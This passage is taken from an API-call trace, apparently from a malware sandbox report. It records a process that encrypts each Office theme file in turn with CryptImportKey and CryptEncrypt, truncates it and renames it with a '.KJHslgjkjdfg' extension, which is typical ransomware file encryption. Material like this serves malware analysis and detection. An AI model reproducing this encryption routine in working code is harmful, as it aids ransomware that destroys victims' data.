hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0220.292] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0220.292] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0220.292] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0220.292] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0220.292] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.292] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.293] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.293] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x146a7, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x146a7, lpOverlapped=0x0) returned 1 [0220.295] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x146b0, dwBufLen=0x146b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x146b0) returned 1 [0220.296] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.296] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x146b0, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x146b0, lpOverlapped=0x0) returned 1 [0220.297] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.297] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x14784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.297] SetEndOfFile (hFile=0x124) returned 1 [0220.300] GetProcessHeap () returned 0x990000 [0220.300] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0220.300] GetProcessHeap () returned 0x990000 [0220.300] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.300] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\median.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\median.thmx.kjhslgjkjdfg")) returned 1 [0220.302] CloseHandle (hObject=0x124) returned 1 [0220.302] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1910ec00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1910ec00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x13af1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Metro.thmx", cAlternateFileName="METRO~1.THM")) returned 1 [0220.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\metro.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0220.305] GetProcessHeap () returned 0x990000 [0220.305] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.305] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.305] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0220.305] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xf, lpOverlapped=0x0) returned 1 [0220.307] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.308] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.308] GetProcessHeap () returned 0x990000 [0220.308] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0220.308] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30) returned 1 [0220.308] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.308] WriteFile (in: hFile=0x124, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df4f8*=0x30, lpOverlapped=0x0) returned 1 [0220.308] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0220.308] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0220.308] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0220.308] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0220.308] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0220.308] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.308] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.308] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.309] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x13af1, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x13af1, lpOverlapped=0x0) returned 1 [0220.310] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x13b00, dwBufLen=0x13b00 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x13b00) returned 1 [0220.311] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.311] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x13b00, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x13b00, lpOverlapped=0x0) returned 1 [0220.312] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.312] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x13bc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.312] SetEndOfFile (hFile=0x124) returned 1 [0220.314] GetProcessHeap () returned 0x990000 [0220.314] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0220.314] GetProcessHeap () returned 0x990000 [0220.314] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.314] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\metro.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\metro.thmx.kjhslgjkjdfg")) returned 1 [0220.316] CloseHandle (hObject=0x124) returned 1 [0220.316] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b734600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b734600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1583a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Module.thmx", cAlternateFileName="MODULE~1.THM")) returned 1 [0220.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\module.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0220.318] GetProcessHeap () returned 0x990000 [0220.318] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.318] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.318] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0220.318] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x6, lpOverlapped=0x0) returned 1 [0220.320] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.320] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.320] GetProcessHeap () returned 0x990000 [0220.320] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0220.320] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0220.320] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.320] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0220.320] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0220.320] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0220.321] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0220.321] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0220.321] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0220.321] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.321] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.321] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.321] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1583a, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x1583a, lpOverlapped=0x0) returned 1 [0220.325] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x15840, dwBufLen=0x15840 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x15840) returned 1 [0220.326] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.327] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x15840, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x15840, lpOverlapped=0x0) returned 1 [0220.327] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.327] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x15914, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.327] SetEndOfFile (hFile=0x124) returned 1 [0220.329] GetProcessHeap () returned 0x990000 [0220.329] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0220.329] GetProcessHeap () returned 0x990000 [0220.329] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.329] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\module.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\module.thmx.kjhslgjkjdfg")) returned 1 [0220.333] CloseHandle (hObject=0x124) returned 1 [0220.333] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e64dd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7e64dd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x96ac7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Newsprint.thmx", cAlternateFileName="NEWSPR~1.THM")) returned 1 [0220.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\newsprint.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0220.335] GetProcessHeap () returned 0x990000 [0220.335] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.335] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.335] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0220.336] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x9, lpOverlapped=0x0) returned 1 [0220.338] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.338] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.338] GetProcessHeap () returned 0x990000 [0220.338] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0220.338] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0220.338] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.338] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0220.339] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0220.339] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0220.339] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0220.339] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0220.339] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0220.339] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.339] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.339] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.339] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x96ac7, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x96ac7, lpOverlapped=0x0) returned 1 [0220.350] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x96ad0, dwBufLen=0x96ad0 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x96ad0) returned 1 [0220.357] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.358] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x96ad0, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x96ad0, lpOverlapped=0x0) returned 1 [0220.359] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.359] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x96ba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.359] SetEndOfFile (hFile=0x124) returned 1 [0220.362] GetProcessHeap () returned 0x990000 [0220.362] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0220.362] GetProcessHeap () returned 0x990000 [0220.363] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.363] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\newsprint.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\newsprint.thmx.kjhslgjkjdfg")) returned 1 [0220.364] CloseHandle (hObject=0x124) returned 1 [0220.364] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f06cd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1f06cd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x132b9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Opulent.thmx", cAlternateFileName="OPULEN~1.THM")) returned 1 [0220.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\opulent.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0220.367] GetProcessHeap () returned 0x990000 [0220.367] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.367] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.367] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0220.368] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x7, lpOverlapped=0x0) returned 1 [0220.370] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.370] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.370] GetProcessHeap () returned 0x990000 [0220.370] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0220.370] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0220.371] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.371] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0220.371] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0220.371] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0220.371] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0220.371] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0220.371] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0220.371] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.371] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.371] 